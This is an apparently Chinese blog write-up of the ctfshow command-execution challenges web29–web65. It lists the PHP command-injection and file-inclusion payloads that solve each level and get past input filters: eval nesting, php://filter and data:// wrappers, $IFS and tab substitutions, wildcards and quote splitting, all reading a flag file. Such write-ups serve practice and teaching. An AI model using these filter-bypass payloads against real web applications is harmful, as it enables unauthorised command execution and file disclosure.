WEB ---- ctfshow ----命令执行

发布于:2023-02-09 ⋅ 阅读:(875) ⋅ 点赞:(0)

web29

在这里插入图片描述
flag进行了过滤

可以采用通配符来代替

通配符*?的区别是*可以用来代替零个、单个或多个字符,而?仅可以使用代替一个字符。*表示匹配的数量不受限制,而?的匹配字符数则受到限制。

c=system('ls');

c=system('cat fla?.php');

或者是
将flag.php复制到1.txt文件内

c=system('cp fla?.php 1.txt');

然后访问ctf.show/1.txt

web30

在这里插入图片描述
phpsystem进行了过滤

同上一题一样

web31

在这里插入图片描述
对空格,.,还有cat进行了过滤。

采用 嵌套eval执行

先试一试c=eval($_GET[pw]);&pw=phpinfo();,测试成功

c=eval($_GET[pw]);&pw=system('ls');

c=eval($_GET[pw]);&pw=system('cat flag.php');

然后查看源码

web32

在这里插入图片描述这次连;分号都过滤了

在最末尾,?>可以代替;分号

c=include%0a$_GET[pw]?>&pw=php://filter/convert.base64-encode/resource=flag.php
include 进行包含,%0a是换行,php://filter/convert.base64-encode/resource是文件包含的插件
得到的是Base64编码文件,然后进行Base64解码

web33

在这里插入图片描述
和web32类似

c=include%0a$_GET[pw]?>&pw=php://filter/convert.base64-encode/resource=flag.php

也可以

c=require%0a$_GET[pw]?>&pw=php://filter/convert.base64-encode/resource=flag.php

web34

在这里插入图片描述同理

c=include%0a$_GET[pw]?>&pw=php://filter/convert.base64-encode/resource=flag.php

web35

在这里插入图片描述
同理

c=include%0a$_GET[pw]?>&pw=php://filter/convert.base64-encode/resource=flag.php

web36

在这里插入图片描述
同理

c=include%0a$_GET[pw]?>&pw=php://filter/convert.base64-encode/resource=flag.php

web37

在这里插入图片描述
c=data://text/plain,<?php system('cat fla?.php');?>

flag用通配符表示

data:将后面的内容当作代码

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

而这个是将<?php system('cat flag.php')?>进行Base64编码

web38

在这里插入图片描述
这次过滤了flagphpfile

c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

<?php system('cat flag.php')?>进行了Base64编码

web39

在这里插入图片描述
这次没有了回显。

c=data://text/plain,<?php system("cat fla?.ph?");?>

c=data://text/plain,<?= system("cat fla?.ph?");?>

c=data://text/plain,<?= system("tac fla?.ph?");?>

web40

在这里插入图片描述show_source(next(array_reverse(scandir(pos(localeconv())))));

show_source()函数和highlight_file()函数一样, — 语法高亮一个文件。

scandir函数 — 列出指定路径中的文件和目录
成功则返回包含有文件名的array,如果失败则返回false。如果directory不是个目录,则返回布尔值false并生成一条E_WARNING级的错误

web41

在这里插入图片描述
使用宇师傅大佬的脚本

https://blog.csdn.net/miuzzx/article/details/108569080

web42

在这里插入图片描述

c=cat flag.php%0a;

或者是

c=cat flag.php;ls通过双写进行绕过,分号进行分割,分号后面作为参数输入到/dev/null
分号前面被执行。

web43

在这里插入图片描述

cat进行了过滤,可以使用tac或者nl来代替cat

c=tac flag.php%0a

web44

在这里插入图片描述

flag被过滤了,用通配符代替

c=tac fla?.php%0a

web45

在这里插入图片描述

过滤了,;分号还有空格,对于分号可以使用&&来代替,且经过URL编码,为%26%26
c=tac%09fla?.php%26%26ls
或者是
c=tac%09fla?.php%0a

web46

在这里插入图片描述

过滤了*通配符,$符号
使用
c=tac%09fla?.php%0a
或者
c=tac%09fla?.php%26%26ls

web47

在这里插入图片描述并没有对tac进行过滤
使用
c=tac%09fla?.php%0a
或者
c=tac%09fla?.php%26%26ls

web48

在这里插入图片描述
和web47一样

web49

在这里插入图片描述
同上

web50

在这里插入图片描述
过滤了%09%26
c=tac<fla''g.php||ls
或者
c=nl<fla''g.php||ls
||或逻辑运算符也可以进行URL编码为%7c%7c

web51

在这里插入图片描述这次过滤了tac
所以使用c=nl<fla''g.php%7c%7cls

web52

在这里插入图片描述
c=nl$IFS/fla''g%7c%7cls

web53

在这里插入图片描述
$d = system($c);是将%c作为命令执行。

使用

c=c''at${IFS}fla''g.p''hp

web54

在这里插入图片描述
可以使用mv重命名
c=mv${IFS}fla?.php${IFS}z.txt
还有提示
/bin/?at${IFS}f???????
其他符号用通配符?代替

web55

web56

web57

web 58

在这里插入图片描述
c=show_source('flag.php');

web59

在这里插入图片描述

c=show_source('flag.php');

web60~web65

都是一样的


网站公告

今日签到

点亮在社区的每一天
去签到